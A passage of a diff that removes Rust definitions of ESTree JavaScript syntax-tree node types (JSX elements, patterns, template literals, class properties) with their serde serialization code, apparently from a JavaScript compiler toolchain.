-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ExportAllDeclaration")?;
-        state.serialize_entry("source", &self.source)?;
-        state.serialize_entry("exported", &self.exported)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXIdentifier {
-    pub name: String,
-    #[serde(skip)]
-    #[serde(default)]
-    pub binding: Option<Binding>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXIdentifier {}
-impl Serialize for JSXIdentifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXIdentifier")?;
-        state.serialize_entry("name", &self.name)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXNamespacedName {
-    pub namespace: JSXIdentifier,
-    pub name: JSXIdentifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXNamespacedName {}
-impl Serialize for JSXNamespacedName {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXNamespacedName")?;
-        state.serialize_entry("namespace", &self.namespace)?;
-        state.serialize_entry("name", &self.name)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXMemberExpression {
-    pub object: JSXMemberExpressionOrIdentifier,
-    pub property: JSXIdentifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXMemberExpression {}
-impl Serialize for JSXMemberExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXMemberExpression")?;
-        state.serialize_entry("object", &self.object)?;
-        state.serialize_entry("property", &self.property)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXEmptyExpression {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXEmptyExpression {}
-impl Serialize for JSXEmptyExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXEmptyExpression")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXExpressionContainer {
-    pub expression: JSXExpressionOrEmpty,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXExpressionContainer {}
-impl Serialize for JSXExpressionContainer {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXExpressionContainer")?;
-        state.serialize_entry("expression", &self.expression)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXSpreadChild {
-    pub expression: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXSpreadChild {}
-impl Serialize for JSXSpreadChild {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXSpreadChild")?;
-        state.serialize_entry("expression", &self.expression)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXOpeningElement {
-    pub name: JSXElementName,
-    pub attributes: Vec<JSXAttributeOrSpread>,
-    #[serde(rename = "selfClosing")]
-    pub self_closing: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXOpeningElement {}
-impl Serialize for JSXOpeningElement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXOpeningElement")?;
-        state.serialize_entry("name", &self.name)?;
-        state.serialize_entry("attributes", &self.attributes)?;
-        state.serialize_entry("selfClosing", &self.self_closing)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXClosingElement {
-    pub name: JSXElementName,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXClosingElement {}
-impl Serialize for JSXClosingElement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXClosingElement")?;
-        state.serialize_entry("name", &self.name)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXAttribute {
-    pub name: JSXIdentifierOrNamespacedName,
-    pub value: Option<JSXAttributeValue>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXAttribute {}
-impl Serialize for JSXAttribute {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXAttribute")?;
-        state.serialize_entry("name", &self.name)?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXSpreadAttribute {
-    pub argument: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXSpreadAttribute {}
-impl Serialize for JSXSpreadAttribute {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXSpreadAttribute")?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXText {
-    pub value: String,
-    pub raw: String,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXText {}
-impl Serialize for JSXText {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXText")?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("raw", &self.raw)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXStringLiteral {
-    pub value: String,
-    pub raw: String,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXStringLiteral {}
-impl Serialize for JSXStringLiteral {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXStringLiteral")?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("raw", &self.raw)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXElement {
-    #[serde(rename = "openingElement")]
-    pub opening_element: JSXOpeningElement,
-    pub children: Vec<JSXChildItem>,
-    #[serde(rename = "closingElement")]
-    pub closing_element: Option<JSXClosingElement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXElement {}
-impl Serialize for JSXElement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXElement")?;
-        state.serialize_entry("openingElement", &self.opening_element)?;
-        state.serialize_entry("children", &self.children)?;
-        state.serialize_entry("closingElement", &self.closing_element)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXFragment {
-    #[serde(rename = "openingFragment")]
-    pub opening_fragment: JSXOpeningFragment,
-    pub children: Vec<JSXChildItem>,
-    #[serde(rename = "closingFragment")]
-    pub closing_fragment: JSXClosingFragment,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXFragment {}
-impl Serialize for JSXFragment {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXFragment")?;
-        state.serialize_entry("openingFragment", &self.opening_fragment)?;
-        state.serialize_entry("children", &self.children)?;
-        state.serialize_entry("closingFragment", &self.closing_fragment)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXOpeningFragment {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXOpeningFragment {}
-impl Serialize for JSXOpeningFragment {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXOpeningFragment")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct JSXClosingFragment {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for JSXClosingFragment {}
-impl Serialize for JSXClosingFragment {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "JSXClosingFragment")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ArrayPattern {
-    pub elements: Vec<Option<Pattern>>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ArrayPattern {}
-impl Serialize for ArrayPattern {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ArrayPattern")?;
-        state.serialize_entry("elements", &self.elements)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ObjectPattern {
-    pub properties: Vec<AssignmentPropertyOrRestElement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ObjectPattern {}
-impl Serialize for ObjectPattern {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ObjectPattern")?;
-        state.serialize_entry("properties", &self.properties)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct AssignmentProperty {
-    pub key: Expression,
-    pub value: Pattern,
-    pub kind: PropertyKind,
-    #[serde(rename = "computed")]
-    pub is_computed: bool,
-    #[serde(rename = "shorthand")]
-    pub is_shorthand: bool,
-    #[serde(rename = "method")]
-    pub is_method: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for AssignmentProperty {}
-impl Serialize for AssignmentProperty {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "Property")?;
-        state.serialize_entry("key", &self.key)?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("kind", &self.kind)?;
-        state.serialize_entry("computed", &self.is_computed)?;
-        state.serialize_entry("shorthand", &self.is_shorthand)?;
-        state.serialize_entry("method", &self.is_method)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct RestElement {
-    pub argument: Pattern,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for RestElement {}
-impl Serialize for RestElement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "RestElement")?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct AssignmentPattern {
-    pub left: Pattern,
-    pub right: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for AssignmentPattern {}
-impl Serialize for AssignmentPattern {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "AssignmentPattern")?;
-        state.serialize_entry("left", &self.left)?;
-        state.serialize_entry("right", &self.right)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct TemplateLiteral {
-    pub quasis: Vec<TemplateElement>,
-    pub expressions: Vec<Expression>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for TemplateLiteral {}
-impl Serialize for TemplateLiteral {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "TemplateLiteral")?;
-        state.serialize_entry("quasis", &self.quasis)?;
-        state.serialize_entry("expressions", &self.expressions)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct TemplateElement {
-    pub tail: bool,
-    pub value: TemplateElementValue,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for TemplateElement {}
-impl Serialize for TemplateElement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "TemplateElement")?;
-        state.serialize_entry("tail", &self.tail)?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct TaggedTemplateExpression {
-    pub tag: Expression,
-    pub quasi: TemplateLiteral,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for TaggedTemplateExpression {}
-impl Serialize for TaggedTemplateExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "TaggedTemplateExpression")?;
-        state.serialize_entry("tag", &self.tag)?;
-        state.serialize_entry("quasi", &self.quasi)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct MetaProperty {
-    pub meta: Identifier,
-    pub property: Identifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for MetaProperty {}
-impl Serialize for MetaProperty {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "MetaProperty")?;
-        state.serialize_entry("meta", &self.meta)?;
-        state.serialize_entry("property", &self.property)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct AwaitExpression {
-    pub argument: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for AwaitExpression {}
-impl Serialize for AwaitExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "AwaitExpression")?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ChainExpression {
-    pub expression: ChainElement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ChainExpression {}
-impl Serialize for ChainExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ChainExpression")?;
-        state.serialize_entry("expression", &self.expression)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct OptionalMemberExpression {
-    pub object: Expression,
-    pub property: Expression,
-    #[serde(rename = "computed")]
-    pub is_computed: bool,
-    #[serde(rename = "optional")]
-    #[serde(default)]
-    pub is_optional: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for OptionalMemberExpression {}
-impl Serialize for OptionalMemberExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "OptionalMemberExpression")?;
-        state.serialize_entry("object", &self.object)?;
-        state.serialize_entry("property", &self.property)?;
-        state.serialize_entry("computed", &self.is_computed)?;
-        state.serialize_entry("optional", &self.is_optional)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct OptionalCallExpression {
-    pub callee: ExpressionOrSuper,
-    pub arguments: Vec<ExpressionOrSpread>,
-    #[serde(rename = "optional")]
-    #[serde(default)]
-    pub is_optional: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for OptionalCallExpression {}
-impl Serialize for OptionalCallExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "OptionalCallExpression")?;
-        state.serialize_entry("callee", &self.callee)?;
-        state.serialize_entry("arguments", &self.arguments)?;
-        state.serialize_entry("optional", &self.is_optional)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ImportExpression {
-    pub source: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ImportExpression {}
-impl Serialize for ImportExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ImportExpression")?;
-        state.serialize_entry("source", &self.source)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ClassProperty {
-    pub key: Expression,
-    #[serde(default)]
-    pub value: Option<Expression>,
-    #[serde(rename = "computed")]
-    pub is_computed: bool,
-    #[serde(rename = "static")]
-    pub is_static: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ClassProperty {}
-impl Serialize for ClassProperty {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ClassProperty")?;
-        state.serialize_entry("key", &self.key)?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("computed", &self.is_computed)?;
-        state.serialize_entry("static", &self.is_static)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ClassPrivateProperty {
-    pub key: ExpressionOrPrivateIdentifier,
-    #[serde(default)]
-    pub value: Option<Expression>,
-    #[serde(rename = "static")]
-    pub is_static: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ClassPrivateProperty {}
-impl Serialize for ClassPrivateProperty {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ClassPrivateProperty")?;
-        state.serialize_entry("key", &self.key)?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("static", &self.is_static)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct PrivateName {
-    pub id: Identifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for PrivateName {}
-impl Serialize for PrivateName {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "PrivateName")?;
-        state.serialize_entry("id", &self.id)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct PrivateIdentifier {
-    pub name: String,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for PrivateIdentifier {}
-impl Serialize for PrivateIdentifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "PrivateIdentifier")?;
-        state.serialize_entry("name", &self.name)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct StaticBlock {
-    pub body: Vec<Statement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for StaticBlock {}
-impl Serialize for StaticBlock {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "StaticBlock")?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct CoverTypedIdentifier {
-    pub left: Identifier,
-    pub right: Option<TypeAnnotation>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for CoverTypedIdentifier {}
-impl Serialize for CoverTypedIdentifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "CoverTypedIdentifier")?;
-        state.serialize_entry("left", &self.left)?;
-        state.serialize_entry("right", &self.right)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct TSTypeAnnotation {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for TSTypeAnnotation {}
-impl Serialize for TSTypeAnnotation {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "TSTypeAnnotation")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct TSTypeAliasDeclaration {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for TSTypeAliasDeclaration {}
-impl Serialize for TSTypeAliasDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "TSTypeAliasDeclaration")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum Statement {
-    BlockStatement(Box<BlockStatement>),
-    BreakStatement(Box<BreakStatement>),
-    ClassDeclaration(Box<ClassDeclaration>),
-    ContinueStatement(Box<ContinueStatement>),
-    DebuggerStatement(Box<DebuggerStatement>),
-    DoWhileStatement(Box<DoWhileStatement>),
-    EmptyStatement(Box<EmptyStatement>),
-    ExpressionStatement(Box<ExpressionStatement>),
-    ForInStatement(Box<ForInStatement>),
-    ForOfStatement(Box<ForOfStatement>),
-    ForStatement(Box<ForStatement>),
-    FunctionDeclaration(Box<FunctionDeclaration>),
-    IfStatement(Box<IfStatement>),
-    LabeledStatement(Box<LabeledStatement>),
-    ReturnStatement(Box<ReturnStatement>),
-    SwitchStatement(Box<SwitchStatement>),
-    TSTypeAliasDeclaration(Box<TSTypeAliasDeclaration>),
-    ThrowStatement(Box<ThrowStatement>),
-    TryStatement(Box<TryStatement>),
-    VariableDeclaration(Box<VariableDeclaration>),
-    WhileStatement(Box<WhileStatement>),
-    WithStatement(Box<WithStatement>),
-}
-#[derive(Deserialize, Debug)]
-enum __StatementTag {
-    BlockStatement,
-    BreakStatement,
-    ClassDeclaration,
-    ContinueStatement,
-    DebuggerStatement,
-    DoWhileStatement,
